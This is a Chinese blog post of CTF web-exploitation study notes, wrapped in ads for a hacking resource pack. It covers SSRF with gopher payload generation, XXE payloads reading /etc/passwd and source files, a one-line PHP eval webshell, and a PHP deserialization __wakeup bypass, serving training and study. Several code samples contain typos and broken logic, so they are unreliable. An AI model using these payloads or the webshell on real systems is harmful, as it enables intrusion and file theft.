网络安全最新CTF-WEB_ctf代码(4),网络安全培训那里好

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网络安全面试题

绿盟护网行动

还有大家最喜欢的黑客技术

网络安全源码合集+工具包

所有资料共282G,朋友们如果有需要全套《网络安全入门+黑客进阶学习资源包》,可以扫描下方二维码领取(如遇扫码问题,可以在评论区留言领取哦)~

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

curl内置option:-A可以让我们指定浏览器去访问网站

# curl -A “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)” http://www.linux.com

5、伪造referer(盗链)
很多服务器会检查http访问的referer从而来控制访问。比如:你是先访问首页,然后再访问首页中的邮箱页面,这里访问邮箱的referer地址就是访问首页成功后的页面地址,如果服务器发现对邮箱页面访问的referer地址不是首页的地址,就断定那是个盗连了
curl中内置option:-e可以让我们设定referer

# curl -e “www.linux.com” http://mail.linux.com

6、显示抓取错误

# curl -f http://www.linux.com/error

典型SSRF触发代码
<?php
...

    $URL=$_GET['url'];
    $ch=curl_init($url);
    curl_setopt($ch,    option:CURLOPT_HEADER,    value:FALSE);
    curl_setopt($ch,    option:CURLOPT_SSL_VERIFYPEER,    value:FALSE);
    $RES=curl_exec($CH);
    curl_close($CH);

...

典型的SSRF触发代码,curl_exec函数会在代码里面封装为一个函数
前端传进来的url被后台使用curl_exec函数进行了请求,然后又将结果返回给前端
参数 --version 可用于查看curl支持的其他协议:如 FTP、FTPS、HTTP、TELENT、DICT等

?>

IP查询 - 查IP(www.cip.cc)")

该网站用于查询当前的出口IP,在百度翻译界面查询该网站会显示百度翻译服务器的IP地址——百度翻译

可现在上述网址查询目标IP,然后将此页面的URL复制到百度翻译,就可以查询该IP的真实IP,或者出口IP

URL跳转

在别人的网站跳转到目标的恶意网站去,可以校验跳转的URL的域名头,不是当前资产的域名头就不允许跳转

@绕过——@到一个域名,不能是文件

https://blog.csdn.net/?url=http://blog.xxx@baidu.com

@绕过的话————此链接就会自己跳转到百度的网站上

URL支持很多的协议:可以使用file协议读取本地的根目录、http/https协议访问一些别的资源、使用FTP协议访问一些资源等——最常用的是file协议

https://blog.csdn.net/?url=file:///etc/password

/etc/passwd 文件

系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。

文件每一行代表着一个用户的信息,格式如下

用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell

1、x  代表该用户有密码

密码存储在 /etc/shadow 文件中,此文件只有 root 用户可以浏览和操作,这样就最大限度地保证了密码的安全

“x” 不能删除,如果删除了 “x”,那么系统会认为这个用户没有密码,从而导致只输入用户名而不用输入密码就可以登陆

root:x:0:0:root:/root:/bin/bash
xaiowang:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
lihua:x:2:2:bin:/bin:/usr/sbin/nologin
...
wangmei:x:1000:1000:ubuntu-18.04.1,,,:/home/skx:/bin/bash
lilei:x:1001:1001:,,,:/home/lilei:/bin/bash

parse_url()函数函数")

parse_url()函数:把URL按协议,POST头(www.baidu.com),路径,查询目标等进行解析——只需要校验host头即可

使用XXX@www.baidu.com绕过,就会有一个新的传参user,其值为XXX

换成file协议parse_url()函数也可以解析

<?php

//I stored flag.txt at baidu.com

show_source(__FILE__);

if(isset($_GET['url']));
    $url=parse_url($_GET['URL']);
    if(!url){
        die('can not parse url:'.$_GET['url']);
    }
    if(substr($_GET['url'],strlen('http://').strlen(baidu.com))==='baidu.com'){
        die('hi,papi,you must pass this!']);
    }
    if($url['host']==='baidu,com'){
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$GET['url']);
        curl_exec($ch);
        curl_close($ch);
    }else{
    die('save it,hacker');
    }
} 

白盒审计,碰到如下代码,可以做任意文件读取,也可以访问账号密码

<?php echo file_get_contents($GET_[W]);

GET传参和POST传参的对象可能会存在不同

一般情况下,传参都是传给当前网页,但如果当前网页是重定向的话,重定向的URL本身就是原URL的传参,如果想要文件的读取权限,只能GET传参跟在URL的后面,不能使用POST传参,POST传参是传给原来的URL

如果非要POST传参,可以使用gopher协议

gopher协议:用于信息查找,可以传递信息给内网,但传递的信息要进行URL编码——空格(%20),换行(%0D),冒号,//,都需要编码

可以直接通过?url=gopher://抓包后的访问目标网站数据包的URL编码(传参类型参考原来需要的参数)

在gopher协议下要注意content_length——它的长度要传参内容的长度保持一致

eg:gopher://目标ip:80_POST%20/security/flag.php……

python脚本化gopher协议

自动对目标网站传参然后url编码返回,使用的时候在cmd启动python 3.7.2,然后转到脚本所在的目录下(最好放在桌面上,比较好找一些),直接输入脚本名称启动脚本等待返回值即可

实际可以在浏览器传参,burp抓包,然后去掉不重要的内容,合为一行,进行url编码,前面加gopher://196.164.32.4_ 即可

import urllib
import requests

test =\

"""POST /security/flag.php HTTP/1,1
Host:192.164.32.4
Content-Type:application/x-www-form-urlencoded

w=flag.php
"""
tmp=urllib.parse.quote(test)   //url编码
new=tmp.replace('0A','%0D%0A')  //换行替换
result='gopher://192.164.32.4_'+new   //使用的时候换IP即可
print(result)

BUUCTF在线评测——SSRF

先查SSRF存在与否,然后file协议,消除cookie,注册一个,然后load url,sql注入,反序列化得到flag所在的路径[网鼎杯 2018]Fakebook(思路详细有说明)_lazy1310的博客-CSDN博客_lazy1310的博客-CSDN博客")

ctf-wscan 为ctf而生的web扫描器_ctf-wscan.py/-CSDN博客

清除cookie可以退出当前的登录状态

XXE漏洞

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区

pikachu之XXE_pikachu xxe-CSDN博客

XXE(XML External Entity Injection) XML外部实体注入,XML是一种类似于HTML(超文本标记语言)的可扩展标记语言,是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素**(冷门漏洞,但高危)**

当使用XML进行信息传输的时候,可能就会发生XXE漏洞攻击WEB漏洞 XXE原理&实践 - FreeBuf网络安全行业门户

xxe漏洞支持file、http、php://filter 等协议,file协议支持任意文件读取(但是需要注意的是,XML文本中如果它的标签是定死的,就必须按这个给出的标签来,也就是说要根据源码指定最后输出的文件名确定标签里面是什么内容,如果读取失败的话,也有可能是没有加根标签)

XXE Dos攻击和RCE攻击说明-CSDN博客

致远OA从前台XXE到RCE漏洞分析 - 知乎

从XXE到RCE的完美利用:利用不安全的 XML 和 ZIP 文件解析器创建 WebShell

xxe漏洞学习_xxe漏洞结合expect组件-CSDN博客

expect组件初次使用需要安装,Linux系统 PHP安装expect扩展详解_expect命令安装-CSDN博客

expect协议不支持在,命令中有空格,如果有的话要使用$IFS代替——很少有服务器既存在xxe漏洞,又安装了expect扩展——因为这个扩展默认是不安装的

<?php eval ($_POST[w]);?>

超级详细的 FinalShell 安装 及使用教程_-CSDN博客(网站服务器+xshell)


题目一

BUUCTF在线评测

启动第一个靶机,常规遇到登录框,先用弱口令试一下

不行再抓包看一下, 显然和之前的数据包是不一样的,多了些XML标签

构造payload如下:(一般来说这个很冷门)

<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "filter:///etc/passwd">
]>

<user><username>&xxe;</username><password>1</password></user>
#调用xxe实体,执行后面的命令————读取/etc/passwd文件

xxe还可以进行内网信息收集,如探索存活主机、查看路由等

本题的flag就在根目录下面,查看的时候,使用xxe实体,里面定义读取文件:filter:///flag文件即可得到flag

题目二

第二个界面和上一个一样,抓包放到repeater里面,file读passwd文件可以,但是没什么信息

加xml代码模板,读取当前页面,然后base64解码

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>&admin;</username><password>1234</password></user>

md5解码如下,但是登不进去admin

然后读内网IP,也没什么用

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
<user><username>&admin;</username><password>1234</password></user>

读apr文件,如下有个IP地址

然后利用HTTP协议请求一下,可以看到无回显,说明该IP没有web服务

再次查询arp文件,发现又有另一个IP,试一下这个IP,可以看到还是没有回显

放到intruder里面爆破,选择12为爆破点爆破C段,查询存活主机,然后payloads选择numbers,从1~255,步长为1

理论上就能爆破出来哪个C段是对的,访问该ip 就能得到正确的flag

反序列化pop链条

析构方法__destruct()在类的对象销毁的时候自动解析或者执行在类的对象销毁的时候自动解析或者执行")

PHP执行系统命令函数实例讲解_php实例_脚本之家

PHP中 __toString()方法详解-php教程-PHP中文网方法详解-php教程-PHP中文网")

类的一些魔术的方法
<?php
class CMDClass
{
    public $cmd="";  //默认cmd为空,也就是不输入任何的数据
    function __wakeup()  
    //魔术方法,在键入之后匹配内容有无ip,在windows系统上屏蔽输入ipconfig
    //反序列化函数执行之后,如果有这个函数的话,就会优先执行这个方法里面的函数或者方法
    {
        if(strpos($this->cmd 'ip') !== flase)
            $this->cmd="echo 非法输入";
    }

    function __destruct()  
    //析构方法,在类的对象销毁之后执行,也就是说这个方法是最后一个执行的
    {
        passthru($this->cmd,$result);
    }

    function __toString()  
    //魔术方法,在类中接收到的对象被当做字符串的时候执行下一句看返回什么
    {
        return "";
    }
}

$a=unserialize($POST['xxx']);   //反序列化函数
echo $a;
//post传参接收一个输入,然后首先执行wakeup方法,没有敏感字符之后再执行toString方法
//此时对象被当做一个字符串执行,执行后释放内存,此对象被销毁之后再执行destruct方法返回结果

__wakeup()魔术方法绕过(CVE-2016-7124)魔术方法绕过(CVE-2016-7124)")

wakeup函数是在反序列化函数之后查找,如果有这个方法,就会优先执行这个方法下面的内容,如果没有这个的话,大概率会出问题,报错或者什么的

绕过的话,首先要知道它的源码,把源码放到菜鸟工具

<?php
class CMDClass
{
    public $cmd="ipconfig";  //输入敏感字符
}

$a=new CMDClass;
echo serialize($a);   //得到序列化的结果

O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

绕过的话,只需要把类的个数该得比它原本的个数大即可

然后浏览源码所在的页面,打开hackbar,下载url,然后post传参

a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";}

但是需要注意的是:此时的php的版本有要求——PHP5<5.6.25,PHP7<7.0.10

php的类中变量的三种声明

变量是类的数据成员,它们用于存储类中所需的数据。变量可以是私有的,只能在类定义中访问;也可以是公共的,可以被类的方法和外部代码访问

在PHP中,当声明类变量时,您可以指定变量的访问级别。PHP支持三种访问级别:

  • public:可以被类的方法和外部代码访问
  • protected:只能被类的方法和其子类访问
  • private:只能在类定义中访问

把cmd的输入分别改为这三种类型的话,序列化之后的结果的变化:

1、变量为pubulic时序列化的运行结果

公开属性的只会显示类的属性

2、将变量改为private之后的运行结果

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 7
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值